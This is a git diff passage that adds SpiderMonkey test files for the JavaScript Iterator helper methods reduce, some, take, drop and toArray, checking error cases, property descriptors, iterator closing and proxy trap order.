diff --git a/js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js
new file mode 100644
index 0000000000..c33e5e4f9c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new TestIterator();
+assertThrowsInstanceOf(() => iter.reduce(), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(null), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(0), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(false), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(''), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.reduce({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js b/js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js
new file mode 100644
index 0000000000..592fa80d17
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed, value: undefined };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const reducer = (x, y) => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.reduce(reducer), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js
new file mode 100644
index 0000000000..d4804c51e2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const sum = (x, y) => x + y;
+assertThrowsInstanceOf(Iterator.prototype.reduce.bind(undefined, sum), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.reduce.bind({}, sum), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.reduce.bind({next: 0}, sum), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..7b43eedcc6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.reduce((x, y) => x + y, 0), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..f81f660916
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.some(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: some
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..5bebdb06ea
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = (value) => value;
+assertEq([true].values().some(fn), true);
+assertEq([1].values().some(fn), true);
+assertEq([[]].values().some(fn), true);
+assertEq([{}].values().some(fn), true);
+assertEq(['test'].values().some(fn), true);
+
+assertEq([false].values().some(fn), false);
+assertEq([0].values().some(fn), false);
+assertEq([''].values().some(fn), false);
+assertEq([null].values().some(fn), false);
+assertEq([undefined].values().some(fn), false);
+assertEq([NaN].values().some(fn), false);
+assertEq([-0].values().some(fn), false);
+assertEq([0n].values().some(fn), false);
+
+const htmlDDA = createIsHTMLDDA();
+assertEq([htmlDDA].values().some(fn), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/descriptor.js b/js/src/tests/non262/Iterator/prototype/some/descriptor.js
new file mode 100644
index 0000000000..dfafc4aa5f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.some
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'some');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js
new file mode 100644
index 0000000000..ba68c6e7c1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.some(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.some.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js
new file mode 100644
index 0000000000..52be15391f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.some(), TypeError);
+assertThrowsInstanceOf(() => iter.some(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.some(null), TypeError);
+assertThrowsInstanceOf(() => iter.some(0), TypeError);
+assertThrowsInstanceOf(() => iter.some(false), TypeError);
+assertThrowsInstanceOf(() => iter.some(''), TypeError);
+assertThrowsInstanceOf(() => iter.some(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.some({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..bbe751e175
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.some(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/length.js b/js/src/tests/non262/Iterator/prototype/some/length.js
new file mode 100644
index 0000000000..c9d1f986f6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.some.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.some, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/name.js b/js/src/tests/non262/Iterator/prototype/some/name.js
new file mode 100644
index 0000000000..679e75460c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.some.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.some, 'name');
+assertEq(propDesc.value, 'some');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..4bdf372908
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.some(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/proxy.js b/js/src/tests/non262/Iterator/prototype/some/proxy.js
new file mode 100644
index 0000000000..a444a2d5cb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.some only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+assertEq(iter.some(x => x % 2 == 1), true);
+
+assertEq(
+ log.join('\n'),
+ `get: some
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js b/js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js
new file mode 100644
index 0000000000..00fab94245
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 3, 5].values();
+const fn = (value) => value % 2 == 0;
+
+assertEq(iter.some(fn), false);
+
+assertEq([].values().some(x => x), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js b/js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js
new file mode 100644
index 0000000000..4f0d67bf09
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+assertEq(iter.some(fn), true);
+assertEq(log.join(','), '1,2');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js
new file mode 100644
index 0000000000..0659ec037e
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.some.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.some.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.some.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..87bf5df033
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.some(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js
new file mode 100644
index 0000000000..b870e31e72
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed negative numbers, after rounding towards 0.
+info: >
+ Iterator Helpers proposal 2.1.5.4 and 2.1.5.5
+features: [iterator-helpers]
+---*/
+
+const iter = [].values();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(-1), RangeError);
+ assertThrowsInstanceOf(() => method(-Infinity), RangeError);
+
+ method(NaN);
+ method(-NaN);
+ method(-0);
+ method(-0.9);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js
new file mode 100644
index 0000000000..3e1333ab37
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed values that can't be converted to numbers.
+info: >
+ Iterator Helpers proposal 2.1.5.4 and 2.1.5.5
+features: [iterator-helpers]
+---*/
+
+const iter = [].values();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+const objectWithToPrimitive = {
+ [Symbol.toPrimitive]() {
+ return {};
+ }
+};
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(0n), TypeError);
+ assertThrowsInstanceOf(() => method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(objectWithToPrimitive), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js b/js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js
new file mode 100644
index 0000000000..1c78db378b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.take closes the iterator when remaining is 0.
+info: >
+ Iterator Helpers proposal 2.1.5.4
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iter = new TestIterator();
+const iterTake = iter.take(1);
+
+let result = iterTake.next();
+assertEq(result.done, false);
+assertEq(result.value, 1);
+assertEq(iter.closed, false);
+
+result = iterTake.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/take/length.js b/js/src/tests/non262/Iterator/prototype/take/length.js
new file mode 100644
index 0000000000..4e5efa6cea
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.take length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.take.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.take, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/name.js b/js/src/tests/non262/Iterator/prototype/take/name.js
new file mode 100644
index 0000000000..87f75b63dd
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.take.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.take.name, 'take');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.take, 'name');
+assertEq(propertyDescriptor.value, 'take');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js b/js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js
new file mode 100644
index 0000000000..b9d07b6122
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.take returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.5.4
+ 2. Repeat,
+ ...
+ c. Let next be ? IteratorStep(iterated, lastValue).
+ d. If next is false, return undefined.
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2].values().take(3);
+for (const expected of [1, 2]) {
+ const result = iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+}
+let result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+class TestIterator extends Iterator {
+ counter = 0;
+ next() {
+ return {done: ++this.counter >= 2, value: undefined};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+iter = new TestIterator();
+let taken = iter.take(10);
+for (const value of taken) {
+ assertEq(value, undefined);
+}
+result = taken.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+assertEq(iter.counter, 2);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/take.js b/js/src/tests/non262/Iterator/prototype/take/take.js
new file mode 100644
index 0000000000..d94671c664
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/take.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: Smoketest of %Iterator.prototype%.take.
+info: >
+ Iterator Helpers proposal 2.1.5.4
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2, 3].values().take(2);
+
+for (const v of [1, 2]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+
+assertEq(iter.next().done, true);
+
+// `take`, when called without arguments, has a limit of undefined,
+// which converts to 0.
+assertEq(['test'].values().take().next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js b/js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js
new file mode 100644
index 0000000000..850729e5e3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+let array = [1, 2, 3].values().toArray();
+assertEq(array instanceof Array, true);
+assertEq(array instanceof otherGlobal.Array, false);
+
+array = otherGlobal.Iterator.prototype.toArray.call([1, 2, 3].values());
+assertEq(array instanceof Array, false);
+assertEq(array instanceof otherGlobal.Array, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/descriptor.js b/js/src/tests/non262/Iterator/prototype/toArray/descriptor.js
new file mode 100644
index 0000000000..8daa56fd4a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.toArray
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'toArray');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js b/js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js
new file mode 100644
index 0000000000..97c14f0d06
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+const array = iter.toArray();
+
+assertEq(Array.isArray(array), true);
+assertEq(array.length, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/length.js b/js/src/tests/non262/Iterator/prototype/toArray/length.js
new file mode 100644
index 0000000000..493a225ce7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.toArray.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.toArray, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/name.js b/js/src/tests/non262/Iterator/prototype/toArray/name.js
new file mode 100644
index 0000000000..b382c3a3a6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.toArray.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.toArray, 'name');
+assertEq(propDesc.value, 'toArray');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/next-throws.js b/js/src/tests/non262/Iterator/prototype/toArray/next-throws.js
new file mode 100644
index 0000000000..c93ecdd324
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/next-throws.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+}
+
+const iter = new TestIterator();
+
+assertThrowsInstanceOf(() => iter.toArray(), Error);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/proxy.js b/js/src/tests/non262/Iterator/prototype/toArray/proxy.js
new file mode 100644
index 0000000000..83024eeb8a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.toArray only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+const array = iter.toArray();
+
+assertEq(
+ log.join('\n'),
+ `get: toArray
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js
new file mode 100644
index 0000000000..1442d22557
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+assertThrowsInstanceOf(Iterator.prototype.toArray.bind(undefined), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.toArray.bind({}), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.toArray.bind({next: 0}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/toArray.js b/js/src/tests/non262/Iterator/prototype/toArray/toArray.js
new file mode 100644
index 0000000000..29c99525fb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/toArray.js
@@ -0,0 +1,17 @@
